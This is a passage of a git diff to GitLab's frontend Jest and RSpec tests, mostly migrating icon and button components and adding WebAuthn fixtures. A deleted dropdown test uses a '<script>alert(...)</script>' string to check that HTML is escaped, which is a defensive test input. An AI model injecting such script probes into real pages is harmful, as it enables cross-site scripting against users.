});
it("should render a disabled action when it's not playable", () => {
- expect(vm.find('.dropdown-menu li:last-child button').attributes('disabled')).toEqual(
- 'disabled',
- );
-
- expect(vm.find('.dropdown-menu li:last-child button').classes('disabled')).toBe(true);
+ expect(vm.find('.dropdown-menu li:last-child gl-button-stub').props('disabled')).toBe(true);
});
});
@@ -82,7 +77,7 @@ describe('EnvironmentActions Component', () => {
scheduledAt: '2018-10-05T08:23:00Z',
};
const findDropdownItem = action => {
- const buttons = vm.findAll('.dropdown-menu li button');
+ const buttons = vm.findAll('.dropdown-menu li gl-button-stub');
return buttons.filter(button => button.text().startsWith(action.name)).at(0);
};
@@ -96,7 +91,7 @@ describe('EnvironmentActions Component', () => {
eventHub.$on('postAction', emitSpy);
jest.spyOn(window, 'confirm').mockImplementation(() => true);
- findDropdownItem(scheduledJobAction).trigger('click');
+ findDropdownItem(scheduledJobAction).vm.$emit('click');
expect(window.confirm).toHaveBeenCalled();
expect(emitSpy).toHaveBeenCalledWith({ endpoint: scheduledJobAction.playPath });
@@ -107,7 +102,7 @@ describe('EnvironmentActions Component', () => {
eventHub.$on('postAction', emitSpy);
jest.spyOn(window, 'confirm').mockImplementation(() => false);
- findDropdownItem(scheduledJobAction).trigger('click');
+ findDropdownItem(scheduledJobAction).vm.$emit('click');
expect(window.confirm).toHaveBeenCalled();
expect(emitSpy).not.toHaveBeenCalled();
diff --git a/spec/frontend/environments/environment_item_spec.js b/spec/frontend/environments/environment_item_spec.js
index 5d374a162ab..1b429783821 100644
--- a/spec/frontend/environments/environment_item_spec.js
+++ b/spec/frontend/environments/environment_item_spec.js
@@ -3,7 +3,7 @@ import { format } from 'timeago.js';
import EnvironmentItem from '~/environments/components/environment_item.vue';
import PinComponent from '~/environments/components/environment_pin.vue';
import DeleteComponent from '~/environments/components/environment_delete.vue';
-
+import { differenceInMilliseconds } from '~/lib/utils/datetime_utility';
import { environment, folder, tableData } from './mock_data';
describe('Environment item', () => {
@@ -135,7 +135,7 @@ describe('Environment item', () => {
});
describe('in the past', () => {
- const pastDate = new Date(Date.now() - 100000);
+ const pastDate = new Date(differenceInMilliseconds(100000));
beforeEach(() => {
factory({
propsData: {
diff --git a/spec/frontend/environments/environment_monitoring_spec.js b/spec/frontend/environments/environment_monitoring_spec.js
index d2129bd7b30..a73f49f1047 100644
--- a/spec/frontend/environments/environment_monitoring_spec.js
+++ b/spec/frontend/environments/environment_monitoring_spec.js
@@ -1,6 +1,6 @@
import { shallowMount } from '@vue/test-utils';
+import { GlButton } from '@gitlab/ui';
import MonitoringComponent from '~/environments/components/environment_monitoring.vue';
-import Icon from '~/vue_shared/components/icon.vue';
describe('Monitoring Component', () => {
let wrapper;
@@ -15,8 +15,8 @@ describe('Monitoring Component', () => {
});
};
- const findIcons = () => wrapper.findAll(Icon);
- const findIconsByName = name => findIcons().filter(icon => icon.props('name') === name);
+ const findButtons = () => wrapper.findAll(GlButton);
+ const findButtonsByIcon = icon => findButtons().filter(button => button.props('icon') === icon);
beforeEach(() => {
createWrapper();
@@ -30,7 +30,7 @@ describe('Monitoring Component', () => {
it('should render a link to environment monitoring page', () => {
expect(wrapper.attributes('href')).toEqual(monitoringUrl);
- expect(findIconsByName('chart').length).toBe(1);
+ expect(findButtonsByIcon('chart').length).toBe(1);
expect(wrapper.attributes('title')).toBe('Monitoring');
expect(wrapper.attributes('aria-label')).toBe('Monitoring');
});
diff --git a/spec/frontend/environments/environment_pin_spec.js b/spec/frontend/environments/environment_pin_spec.js
index 486f6db7366..f48091adb44 100644
--- a/spec/frontend/environments/environment_pin_spec.js
+++ b/spec/frontend/environments/environment_pin_spec.js
@@ -1,6 +1,5 @@
import { shallowMount } from '@vue/test-utils';
-import { GlDeprecatedButton } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlButton, GlIcon } from '@gitlab/ui';
import eventHub from '~/environments/event_hub';
import PinComponent from '~/environments/components/environment_pin.vue';
@@ -32,12 +31,12 @@ describe('Pin Component', () => {
});
it('should render the component with thumbtack icon', () => {
- expect(wrapper.find(Icon).props('name')).toBe('thumbtack');
+ expect(wrapper.find(GlIcon).props('name')).toBe('thumbtack');
});
it('should emit onPinClick when clicked', () => {
const eventHubSpy = jest.spyOn(eventHub, '$emit');
- const button = wrapper.find(GlDeprecatedButton);
+ const button = wrapper.find(GlButton);
button.vm.$emit('click');
diff --git a/spec/frontend/environments/environment_rollback_spec.js b/spec/frontend/environments/environment_rollback_spec.js
index f25e05f9cd8..fb62a096c3d 100644
--- a/spec/frontend/environments/environment_rollback_spec.js
+++ b/spec/frontend/environments/environment_rollback_spec.js
@@ -1,5 +1,5 @@
import { shallowMount, mount } from '@vue/test-utils';
-import { GlDeprecatedButton } from '@gitlab/ui';
+import { GlButton } from '@gitlab/ui';
import eventHub from '~/environments/event_hub';
import RollbackComponent from '~/environments/components/environment_rollback.vue';
@@ -40,7 +40,7 @@ describe('Rollback Component', () => {
},
},
});
- const button = wrapper.find(GlDeprecatedButton);
+ const button = wrapper.find(GlButton);
button.vm.$emit('click');
diff --git a/spec/frontend/environments/environment_terminal_button_spec.js b/spec/frontend/environments/environment_terminal_button_spec.js
index 007fda2f2cc..274186fbbd6 100644
--- a/spec/frontend/environments/environment_terminal_button_spec.js
+++ b/spec/frontend/environments/environment_terminal_button_spec.js
@@ -22,7 +22,7 @@ describe('Stop Component', () => {
});
it('should render a link to open a web terminal with the provided path', () => {
- expect(wrapper.is('a')).toBe(true);
+ expect(wrapper.element.tagName).toBe('A');
expect(wrapper.attributes('title')).toBe('Terminal');
expect(wrapper.attributes('aria-label')).toBe('Terminal');
expect(wrapper.attributes('href')).toBe(terminalPath);
diff --git a/spec/frontend/environments/environments_app_spec.js b/spec/frontend/environments/environments_app_spec.js
index d440bf73e15..fe32bf918dd 100644
--- a/spec/frontend/environments/environments_app_spec.js
+++ b/spec/frontend/environments/environments_app_spec.js
@@ -144,16 +144,16 @@ describe('Environment', () => {
});
it('should open a closed folder', () => {
- expect(wrapper.find('.folder-icon.ic-chevron-right').exists()).toBe(false);
+ expect(wrapper.find('.folder-icon[data-testid="chevron-right-icon"]').exists()).toBe(false);
});
it('should close an opened folder', () => {
- expect(wrapper.find('.folder-icon.ic-chevron-down').exists()).toBe(true);
+ expect(wrapper.find('.folder-icon[data-testid="chevron-down-icon"]').exists()).toBe(true);
// close folder
wrapper.find('.folder-name').trigger('click');
wrapper.vm.$nextTick(() => {
- expect(wrapper.find('.folder-icon.ic-chevron-down').exists()).toBe(false);
+ expect(wrapper.find('.folder-icon[data-testid="chevron-down-icon"]').exists()).toBe(false);
});
});
diff --git a/spec/frontend/error_tracking/components/error_tracking_list_spec.js b/spec/frontend/error_tracking/components/error_tracking_list_spec.js
index bad70a31599..31f355ce6f1 100644
--- a/spec/frontend/error_tracking/components/error_tracking_list_spec.js
+++ b/spec/frontend/error_tracking/components/error_tracking_list_spec.js
@@ -163,7 +163,7 @@ describe('ErrorTrackingList', () => {
it('each error in the list should have an action button set', () => {
findErrorListRows().wrappers.forEach(row => {
- expect(row.contains(ErrorTrackingActions)).toBe(true);
+ expect(row.find(ErrorTrackingActions).exists()).toBe(true);
});
});
@@ -259,23 +259,15 @@ describe('ErrorTrackingList', () => {
errorId: errorsList[0].id,
status: 'ignored',
});
- expect(actions.updateStatus).toHaveBeenCalledWith(
- expect.anything(),
- {
- endpoint: `/project/test/-/error_tracking/${errorsList[0].id}.json`,
- status: 'ignored',
- },
- undefined,
- );
+ expect(actions.updateStatus).toHaveBeenCalledWith(expect.anything(), {
+ endpoint: `/project/test/-/error_tracking/${errorsList[0].id}.json`,
+ status: 'ignored',
+ });
});
it('calls an action to remove the item from the list', () => {
findErrorActions().vm.$emit('update-issue-status', { errorId: '1', status: undefined });
- expect(actions.removeIgnoredResolvedErrors).toHaveBeenCalledWith(
- expect.anything(),
- '1',
- undefined,
- );
+ expect(actions.removeIgnoredResolvedErrors).toHaveBeenCalledWith(expect.anything(), '1');
});
});
@@ -298,23 +290,15 @@ describe('ErrorTrackingList', () => {
errorId: errorsList[0].id,
status: 'resolved',
});
- expect(actions.updateStatus).toHaveBeenCalledWith(
- expect.anything(),
- {
- endpoint: `/project/test/-/error_tracking/${errorsList[0].id}.json`,
- status: 'resolved',
- },
- undefined,
- );
+ expect(actions.updateStatus).toHaveBeenCalledWith(expect.anything(), {
+ endpoint: `/project/test/-/error_tracking/${errorsList[0].id}.json`,
+ status: 'resolved',
+ });
});
it('calls an action to remove the item from the list', () => {
findErrorActions().vm.$emit('update-issue-status', { errorId: '1', status: undefined });
- expect(actions.removeIgnoredResolvedErrors).toHaveBeenCalledWith(
- expect.anything(),
- '1',
- undefined,
- );
+ expect(actions.removeIgnoredResolvedErrors).toHaveBeenCalledWith(expect.anything(), '1');
});
});
@@ -443,7 +427,6 @@ describe('ErrorTrackingList', () => {
expect(actions.fetchPaginatedResults).toHaveBeenLastCalledWith(
expect.anything(),
'previousCursor',
- undefined,
);
});
});
@@ -462,7 +445,6 @@ describe('ErrorTrackingList', () => {
expect(actions.fetchPaginatedResults).toHaveBeenLastCalledWith(
expect.anything(),
'nextCursor',
- undefined,
);
});
});
diff --git a/spec/frontend/error_tracking/components/stacktrace_entry_spec.js b/spec/frontend/error_tracking/components/stacktrace_entry_spec.js
index df7bff201f1..6df25ad6819 100644
--- a/spec/frontend/error_tracking/components/stacktrace_entry_spec.js
+++ b/spec/frontend/error_tracking/components/stacktrace_entry_spec.js
@@ -1,10 +1,9 @@
import { shallowMount } from '@vue/test-utils';
-import { GlSprintf } from '@gitlab/ui';
+import { GlSprintf, GlIcon } from '@gitlab/ui';
import { trimText } from 'helpers/text_helper';
import StackTraceEntry from '~/error_tracking/components/stacktrace_entry.vue';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
import FileIcon from '~/vue_shared/components/file_icon.vue';
-import Icon from '~/vue_shared/components/icon.vue';
describe('Stacktrace Entry', () => {
let wrapper;
@@ -39,7 +38,7 @@ describe('Stacktrace Entry', () => {
mountComponent({ lines });
expect(wrapper.find(StackTraceEntry).exists()).toBe(true);
expect(wrapper.find(ClipboardButton).exists()).toBe(true);
- expect(wrapper.find(Icon).exists()).toBe(true);
+ expect(wrapper.find(GlIcon).exists()).toBe(true);
expect(wrapper.find(FileIcon).exists()).toBe(true);
expect(wrapper.find('table').exists()).toBe(false);
});
@@ -57,7 +56,7 @@ describe('Stacktrace Entry', () => {
it('should hide collapse icon and render error fn name and error line when there is no code block', () => {
const extraInfo = { errorLine: 34, errorFn: 'errorFn', errorColumn: 77 };
mountComponent({ expanded: false, lines: [], ...extraInfo });
- expect(wrapper.find(Icon).exists()).toBe(false);
+ expect(wrapper.find(GlIcon).exists()).toBe(false);
expect(trimText(findFileHeaderContent())).toContain(
`in ${extraInfo.errorFn} at line ${extraInfo.errorLine}:${extraInfo.errorColumn}`,
);
diff --git a/spec/frontend/fixtures/search.rb b/spec/frontend/fixtures/search.rb
index fcd68662acc..40f613a9422 100644
--- a/spec/frontend/fixtures/search.rb
+++ b/spec/frontend/fixtures/search.rb
@@ -7,10 +7,16 @@ RSpec.describe SearchController, '(JavaScript fixtures)', type: :controller do
render_views
+ let_it_be(:user) { create(:admin) }
+
before(:all) do
clean_frontend_fixtures('search/')
end
+ before do
+ sign_in(user)
+ end
+
it 'search/show.html' do
get :show
diff --git a/spec/frontend/fixtures/static/ajax_loading_spinner.html b/spec/frontend/fixtures/static/ajax_loading_spinner.html
deleted file mode 100644
index 0e1ebb32b1c..00000000000
--- a/spec/frontend/fixtures/static/ajax_loading_spinner.html
+++ /dev/null
@@ -1,3 +0,0 @@
-<a class="js-ajax-loading-spinner" data-remote href="http://goesnowhere.nothing/whereami">
-<i class="fa fa-trash-o"></i>
-</a>
diff --git a/spec/frontend/fixtures/static/deprecated_jquery_dropdown.html b/spec/frontend/fixtures/static/deprecated_jquery_dropdown.html
new file mode 100644
index 00000000000..3db9bafcb9f
--- /dev/null
+++ b/spec/frontend/fixtures/static/deprecated_jquery_dropdown.html
@@ -0,0 +1,39 @@
+<div>
+ <div class="dropdown inline">
+ <button
+ class="dropdown-menu-toggle"
+ data-toggle="dropdown"
+ id="js-project-dropdown"
+ type="button"
+ >
+ <div class="dropdown-toggle-text">
+ Projects
+ </div>
+ <i class="fa fa-chevron-down dropdown-toggle-caret js-projects-dropdown-toggle"></i>
+ </button>
+ <div class="dropdown-menu dropdown-select dropdown-menu-selectable">
+ <div class="dropdown-title gl-display-flex gl-align-items-center">
+ <span class="gl-ml-auto">Go to project</span>
+ <button
+ aria-label="Close"
+ type="button"
+ class="btn dropdown-title-button dropdown-menu-close gl-ml-auto btn-default btn-sm gl-button btn-default-tertiary btn-icon"
+ >
+ <svg data-testid="close-icon" class="gl-icon s16 dropdown-menu-close-icon">
+ <use
+ href="/assets/icons-795a2ef2fd636a0538bbef3b8d2787dd90927b42d7617fdda8620930016b333d.svg#close"
+ ></use>
+ </svg>
+ </button>
+ </div>
+ <div class="dropdown-input">
+ <input class="dropdown-input-field" placeholder="Filter results" type="search" />
+ <i class="fa fa-search dropdown-input-search"></i>
+ </div>
+ <div class="dropdown-content"></div>
+ <div class="dropdown-loading">
+ <i class="fa fa-spinner fa-spin"></i>
+ </div>
+ </div>
+ </div>
+</div>
diff --git a/spec/frontend/fixtures/static/gl_dropdown.html b/spec/frontend/fixtures/static/gl_dropdown.html
deleted file mode 100644
index 08f6738414e..00000000000
--- a/spec/frontend/fixtures/static/gl_dropdown.html
+++ /dev/null
@@ -1,26 +0,0 @@
-<div>
-<div class="dropdown inline">
-<button class="dropdown-menu-toggle" data-toggle="dropdown" id="js-project-dropdown" type="button">
-<div class="dropdown-toggle-text">
-Projects
-</div>
-<i class="fa fa-chevron-down dropdown-toggle-caret js-projects-dropdown-toggle"></i>
-</button>
-<div class="dropdown-menu dropdown-select dropdown-menu-selectable">
-<div class="dropdown-title">
-<span>Go to project</span>
-<button aria="{:label=&gt;&quot;Close&quot;}" class="dropdown-title-button dropdown-menu-close">
-<i class="fa fa-times dropdown-menu-close-icon"></i>
-</button>
-</div>
-<div class="dropdown-input">
-<input class="dropdown-input-field" placeholder="Filter results" type="search">
-<i class="fa fa-search dropdown-input-search"></i>
-</div>
-<div class="dropdown-content"></div>
-<div class="dropdown-loading">
-<i class="fa fa-spinner fa-spin"></i>
-</div>
-</div>
-</div>
-</div>
diff --git a/spec/frontend/fixtures/u2f.rb b/spec/frontend/fixtures/u2f.rb
index be3874d7c42..a6a8ba7318b 100644
--- a/spec/frontend/fixtures/u2f.rb
+++ b/spec/frontend/fixtures/u2f.rb
@@ -11,6 +11,10 @@ RSpec.context 'U2F' do
clean_frontend_fixtures('u2f/')
end
+ before do
+ stub_feature_flags(webauthn: false)
+ end
+
describe SessionsController, '(JavaScript fixtures)', type: :controller do
include DeviseHelpers
diff --git a/spec/frontend/fixtures/webauthn.rb b/spec/frontend/fixtures/webauthn.rb
new file mode 100644
index 00000000000..b195fee76f0
--- /dev/null
+++ b/spec/frontend/fixtures/webauthn.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.context 'WebAuthn' do
+ include JavaScriptFixturesHelpers
+
+ let(:user) { create(:user, :two_factor_via_webauthn, otp_secret: 'otpsecret:coolkids') }
+
+ before(:all) do
+ clean_frontend_fixtures('webauthn/')
+ end
+
+ describe SessionsController, '(JavaScript fixtures)', type: :controller do
+ include DeviseHelpers
+
+ render_views
+
+ before do
+ set_devise_mapping(context: @request)
+ end
+
+ it 'webauthn/authenticate.html' do
+ allow(controller).to receive(:find_user).and_return(user)
+ post :create, params: { user: { login: user.username, password: user.password } }
+
+ expect(response).to be_successful
+ end
+ end
+
+ describe Profiles::TwoFactorAuthsController, '(JavaScript fixtures)', type: :controller do
+ render_views
+
+ before do
+ sign_in(user)
+ allow_next_instance_of(Profiles::TwoFactorAuthsController) do |instance|
+ allow(instance).to receive(:build_qr_code).and_return('qrcode:blackandwhitesquares')
+ end
+ end
+
+ it 'webauthn/register.html' do
+ get :show
+
+ expect(response).to be_successful
+ end
+ end
+end
diff --git a/spec/frontend/frequent_items/components/frequent_items_search_input_spec.js b/spec/frontend/frequent_items/components/frequent_items_search_input_spec.js
index 204bbfb9c2f..c5155315bb9 100644
--- a/spec/frontend/frequent_items/components/frequent_items_search_input_spec.js
+++ b/spec/frontend/frequent_items/components/frequent_items_search_input_spec.js
@@ -69,8 +69,8 @@ describe('FrequentItemsSearchInputComponent', () => {
describe('template', () => {
it('should render component element', () => {
expect(wrapper.classes()).toContain('search-input-container');
- expect(wrapper.contains('input.form-control')).toBe(true);
- expect(wrapper.contains('.search-icon')).toBe(true);
+ expect(wrapper.find('input.form-control').exists()).toBe(true);
+ expect(wrapper.find('.search-icon').exists()).toBe(true);
expect(wrapper.find('input.form-control').attributes('placeholder')).toBe(
'Search your projects',
);
diff --git a/spec/frontend/gfm_auto_complete_spec.js b/spec/frontend/gfm_auto_complete_spec.js
index 869347128e5..6c40b1ba3a7 100644
--- a/spec/frontend/gfm_auto_complete_spec.js
+++ b/spec/frontend/gfm_auto_complete_spec.js
@@ -1,11 +1,9 @@
/* eslint no-param-reassign: "off" */
import $ from 'jquery';
+import '~/lib/utils/jquery_at_who';
import GfmAutoComplete, { membersBeforeSave } from 'ee_else_ce/gfm_auto_complete';
-import 'jquery.caret';
-import '@gitlab/at.js';
-
import { TEST_HOST } from 'helpers/test_constants';
import { getJSONFixture } from 'helpers/fixtures';
@@ -121,7 +119,7 @@ describe('GfmAutoComplete', () => {
const defaultMatcher = (context, flag, subtext) =>
gfmAutoCompleteCallbacks.matcher.call(context, flag, subtext);
- const flagsUseDefaultMatcher = ['@', '#', '!', '~', '%', '$'];
+ const flagsUseDefaultMatcher = ['@', '#', '!', '~', '%', '$', '+'];
const otherFlags = ['/', ':'];
const flags = flagsUseDefaultMatcher.concat(otherFlags);
@@ -155,7 +153,6 @@ describe('GfmAutoComplete', () => {
'Ñ',
'.',
"'",
- '+',
'-',
'_',
];
diff --git a/spec/frontend/gl_dropdown_spec.js b/spec/frontend/gl_dropdown_spec.js
deleted file mode 100644
index 8bfe7f56e37..00000000000
--- a/spec/frontend/gl_dropdown_spec.js
+++ /dev/null
@@ -1,345 +0,0 @@
-/* eslint-disable no-param-reassign */
-
-import $ from 'jquery';
-import '~/gl_dropdown';
-import '~/lib/utils/common_utils';
-import { visitUrl } from '~/lib/utils/url_utility';
-
-jest.mock('~/lib/utils/url_utility', () => ({
- visitUrl: jest.fn().mockName('visitUrl'),
-}));
-
-describe('glDropdown', () => {
- preloadFixtures('static/gl_dropdown.html');
-
- const NON_SELECTABLE_CLASSES =
- '.divider, .separator, .dropdown-header, .dropdown-menu-empty-item';
- const SEARCH_INPUT_SELECTOR = '.dropdown-input-field';
- const ITEM_SELECTOR = `.dropdown-content li:not(${NON_SELECTABLE_CLASSES})`;
- const FOCUSED_ITEM_SELECTOR = `${ITEM_SELECTOR} a.is-focused`;
- const ARROW_KEYS = {
- DOWN: 40,
- UP: 38,
- ENTER: 13,
- ESC: 27,
- };
-
- let remoteCallback;
-
- const test = {};
-
- const navigateWithKeys = (direction, steps, cb, i) => {
- i = i || 0;
- if (!i) direction = direction.toUpperCase();
- $('body').trigger({
- type: 'keydown',
- which: ARROW_KEYS[direction],
- keyCode: ARROW_KEYS[direction],
- });
- i += 1;
- if (i <= steps) {
- navigateWithKeys(direction, steps, cb, i);
- } else {
- cb();
- }
- };
-
- const remoteMock = (data, term, callback) => {
- remoteCallback = callback.bind({}, data);
- };
-
- function initDropDown(hasRemote, isFilterable, extraOpts = {}) {
- const options = {
- selectable: true,
- filterable: isFilterable,
- data: hasRemote ? remoteMock.bind({}, test.projectsData) : test.projectsData,
- search: {
- fields: ['name'],
- },
- text: project => project.name_with_namespace || project.name,
- id: project => project.id,
- ...extraOpts,
- };
- test.dropdownButtonElement = $(
- '#js-project-dropdown',
- test.dropdownContainerElement,
- ).glDropdown(options);
- }
-
- beforeEach(() => {
- loadFixtures('static/gl_dropdown.html');
- test.dropdownContainerElement = $('.dropdown.inline');
- test.$dropdownMenuElement = $('.dropdown-menu', test.dropdownContainerElement);
- test.projectsData = getJSONFixture('static/projects.json');
- });
-
- afterEach(() => {
- $('body').off('keydown');
- test.dropdownContainerElement.off('keyup');
- });
-
- it('should open on click', () => {
- initDropDown.call(this, false);
-
- expect(test.dropdownContainerElement).not.toHaveClass('show');
- test.dropdownButtonElement.click();
-
- expect(test.dropdownContainerElement).toHaveClass('show');
- });
-
- it('escapes HTML as text', () => {
- test.projectsData[0].name_with_namespace = '<script>alert("testing");</script>';
-
- initDropDown.call(this, false);
-
- test.dropdownButtonElement.click();
-
- expect($('.dropdown-content li:first-child').text()).toBe('<script>alert("testing");</script>');
- });
-
- it('should output HTML when highlighting', () => {
- test.projectsData[0].name_with_namespace = 'testing';
- $('.dropdown-input .dropdown-input-field').val('test');
-
- initDropDown.call(this, false, true, {
- highlight: true,
- });
-
- test.dropdownButtonElement.click();
-
- expect($('.dropdown-content li:first-child').text()).toBe('testing');
-
- expect($('.dropdown-content li:first-child a').html()).toBe(
- '<b>t</b><b>e</b><b>s</b><b>t</b>ing',
- );
- });
-
- describe('that is open', () => {
- beforeEach(() => {
- initDropDown.call(this, false, false);
- test.dropdownButtonElement.click();
- });
-
- it('should select a following item on DOWN keypress', () => {
- expect($(FOCUSED_ITEM_SELECTOR, test.$dropdownMenuElement).length).toBe(0);
- const randomIndex = Math.floor(Math.random() * (test.projectsData.length - 1)) + 0;
- navigateWithKeys('down', randomIndex, () => {
- expect($(FOCUSED_ITEM_SELECTOR, test.$dropdownMenuElement).length).toBe(1);
- expect($(`${ITEM_SELECTOR}:eq(${randomIndex}) a`, test.$dropdownMenuElement)).toHaveClass(
- 'is-focused',
- );
- });
- });
-
- it('should select a previous item on UP keypress', () => {
- expect($(FOCUSED_ITEM_SELECTOR, test.$dropdownMenuElement).length).toBe(0);
- navigateWithKeys('down', test.projectsData.length - 1, () => {
- expect($(FOCUSED_ITEM_SELECTOR, test.$dropdownMenuElement).length).toBe(1);
- const randomIndex = Math.floor(Math.random() * (test.projectsData.length - 2)) + 0;
- navigateWithKeys('up', randomIndex, () => {
- expect($(FOCUSED_ITEM_SELECTOR, test.$dropdownMenuElement).length).toBe(1);
- expect(
- $(
- `${ITEM_SELECTOR}:eq(${test.projectsData.length - 2 - randomIndex}) a`,
- test.$dropdownMenuElement,
- ),
- ).toHaveClass('is-focused');
- });
- });
- });
-
- it('should click the selected item on ENTER keypress', () => {
- expect(test.dropdownContainerElement).toHaveClass('show');
- const randomIndex = Math.floor(Math.random() * (test.projectsData.length - 1)) + 0;
- navigateWithKeys('down', randomIndex, () => {
- navigateWithKeys('enter', null, () => {
- expect(test.dropdownContainerElement).not.toHaveClass('show');
- const link = $(`${ITEM_SELECTOR}:eq(${randomIndex}) a`, test.$dropdownMenuElement);
-
- expect(link).toHaveClass('is-active');
- const linkedLocation = link.attr('href');
- if (linkedLocation && linkedLocation !== '#') {
- expect(visitUrl).toHaveBeenCalledWith(linkedLocation);
- }
- });
- });
- });
-
- it('should close on ESC keypress', () => {
- expect(test.dropdownContainerElement).toHaveClass('show');
- test.dropdownContainerElement.trigger({
- type: 'keyup',
- which: ARROW_KEYS.ESC,
- keyCode: ARROW_KEYS.ESC,
- });
-
- expect(test.dropdownContainerElement).not.toHaveClass('show');
- });
- });
-
- describe('opened and waiting for a remote callback', () => {
- beforeEach(() => {
- initDropDown.call(this, true, true);
- test.dropdownButtonElement.click();
- });
-
- it('should show loading indicator while search results are being fetched by backend', () => {
- const dropdownMenu = document.querySelector('.dropdown-menu');
-
- expect(dropdownMenu.className.indexOf('is-loading')).not.toBe(-1);
- remoteCallback();
-
- expect(dropdownMenu.className.indexOf('is-loading')).toBe(-1);
- });
-
- it('should not focus search input while remote task is not complete', () => {
- expect($(document.activeElement)).not.toEqual($(SEARCH_INPUT_SELECTOR));
- remoteCallback();
-
- expect($(document.activeElement)).toEqual($(SEARCH_INPUT_SELECTOR));
- });
-
- it('should focus search input after remote task is complete', () => {
- remoteCallback();
-
- expect($(document.activeElement)).toEqual($(SEARCH_INPUT_SELECTOR));
- });
-
- it('should focus on input when opening for the second time after transition', () => {
- remoteCallback();
- test.dropdownContainerElement.trigger({
- type: 'keyup',
- which: ARROW_KEYS.ESC,
- keyCode: ARROW_KEYS.ESC,
- });
- test.dropdownButtonElement.click();
- test.dropdownContainerElement.trigger('transitionend');
-
- expect($(document.activeElement)).toEqual($(SEARCH_INPUT_SELECTOR));
- });
- });
-
- describe('input focus with array data', () => {
- it('should focus input when passing array data to drop down', () => {
- initDropDown.call(this, false, true);
- test.dropdownButtonElement.click();
- test.dropdownContainerElement.trigger('transitionend');
-
- expect($(document.activeElement)).toEqual($(SEARCH_INPUT_SELECTOR));
- });
- });
-
- it('should still have input value on close and restore', () => {
- const $searchInput = $(SEARCH_INPUT_SELECTOR);
- initDropDown.call(this, false, true);
- $searchInput
- .trigger('focus')
- .val('g')
- .trigger('input');
-
- expect($searchInput.val()).toEqual('g');
- test.dropdownButtonElement.trigger('hidden.bs.dropdown');
- $searchInput.trigger('blur').trigger('focus');
-
- expect($searchInput.val()).toEqual('g');
- });
-
- describe('renderItem', () => {
- function dropdownWithOptions(options) {
- const $dropdownDiv = $('<div />');
-
- $dropdownDiv.glDropdown(options);
-
- return $dropdownDiv.data('glDropdown');
- }
-
- function basicDropdown() {
- return dropdownWithOptions({});
- }
-
- describe('without selected value', () => {
- let dropdown;
-
- beforeEach(() => {
- dropdown = basicDropdown();
- });
-
- it('marks items without ID as active', () => {
- const dummyData = {};
-
- const html = dropdown.renderItem(dummyData, null, null);
-
- const link = html.querySelector('a');
-
- expect(link).toHaveClass('is-active');
- });
-
- it('does not mark items with ID as active', () => {
- const dummyData = {
- id: 'ea',
- };
-
- const html = dropdown.renderItem(dummyData, null, null);
-
- const link = html.querySelector('a');
-
- expect(link).not.toHaveClass('is-active');
- });
- });
-
- it('should return an empty .separator li when when appropriate', () => {
- const dropdown = basicDropdown();
- const sep = { type: 'separator' };
- const li = dropdown.renderItem(sep);
-
- expect(li).toHaveClass('separator');
- expect(li.childNodes.length).toEqual(0);
- });
-
- it('should return an empty .divider li when when appropriate', () => {
- const dropdown = basicDropdown();
- const div = { type: 'divider' };
- const li = dropdown.renderItem(div);
-
- expect(li).toHaveClass('divider');
- expect(li.childNodes.length).toEqual(0);
- });
-
- it('should return a .dropdown-header li with the correct content when when appropriate', () => {
- const dropdown = basicDropdown();
- const text = 'My Header';
- const header = { type: 'header', content: text };
- const li = dropdown.renderItem(header);
-
- expect(li).toHaveClass('dropdown-header');
- expect(li.childNodes.length).toEqual(1);
- expect(li.textContent).toEqual(text);
- });
- });
-
- it('should keep selected item after selecting a second time', () => {
- const options = {
- isSelectable(item, $el) {
- return !$el.hasClass('is-active');
- },
- toggleLabel(item) {
- return item && item.id;
- },
- };
- initDropDown.call(this, false, false, options);
- const $item = $(`${ITEM_SELECTOR}:first() a`, test.$dropdownMenuElement);
-
- // select item the first time
- test.dropdownButtonElement.click();
- $item.click();
-
- expect($item).toHaveClass('is-active');
- // select item the second time
- test.dropdownButtonElement.click();
- $item.click();
-
- expect($item).toHaveClass('is-active');
-
- expect($('.dropdown-toggle-text')).toHaveText(test.projectsData[0].id.toString());
- });
-});
diff --git a/spec/frontend/gpg_badges_spec.js b/spec/frontend/gpg_badges_spec.js
index 809cc5c88e2..644b687aa19 100644
--- a/spec/frontend/gpg_badges_spec.js
+++ b/spec/frontend/gpg_badges_spec.js
@@ -68,7 +68,7 @@ describe('GpgBadges', () => {
GpgBadges.fetch()
.then(() => {
expect(document.querySelector('.js-loading-gpg-badge:empty')).toBe(null);
- const spinners = document.querySelectorAll('.js-loading-gpg-badge i.fa.fa-spinner.fa-spin');
+ const spinners = document.querySelectorAll('.js-loading-gpg-badge span.gl-spinner');
expect(spinners.length).toBe(1);
done();
diff --git a/spec/frontend/grafana_integration/components/__snapshots__/grafana_integration_spec.js.snap b/spec/frontend/grafana_integration/components/__snapshots__/grafana_integration_spec.js.snap
index 0e16b726c4b..0befe1aa192 100644
--- a/spec/frontend/grafana_integration/components/__snapshots__/grafana_integration_spec.js.snap
+++ b/spec/frontend/grafana_integration/components/__snapshots__/grafana_integration_spec.js.snap
@@ -83,7 +83,7 @@ exports[`grafana integration component default state to match the default snapsh
More information
- <icon-stub
+ <gl-icon-stub
class="vertical-align-middle"
name="external-link"
size="16"
diff --git a/spec/frontend/groups/components/invite_members_banner_spec.js b/spec/frontend/groups/components/invite_members_banner_spec.js
new file mode 100644
index 00000000000..95003b211fd
--- /dev/null
+++ b/spec/frontend/groups/components/invite_members_banner_spec.js
@@ -0,0 +1,144 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlBanner } from '@gitlab/ui';
+import { mockTracking, unmockTracking } from 'helpers/tracking_helper';
+import { setCookie, parseBoolean } from '~/lib/utils/common_utils';
+import InviteMembersBanner from '~/groups/components/invite_members_banner.vue';
+
+jest.mock('~/lib/utils/common_utils');
+
+const isDismissedKey = 'invite_99_1';
+const title = 'Collaborate with your team';
+const body =
+ "We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge";
+const svgPath = '/illustrations/background';
+const inviteMembersPath = 'groups/members';
+const buttonText = 'Invite your colleagues';
+const trackLabel = 'invite_members_banner';
+
+const createComponent = (stubs = {}) => {
+ return shallowMount(InviteMembersBanner, {
+ provide: {
+ svgPath,
+ inviteMembersPath,
+ isDismissedKey,
+ trackLabel,
+ },
+ stubs,
+ });
+};
+
+describe('InviteMembersBanner', () => {
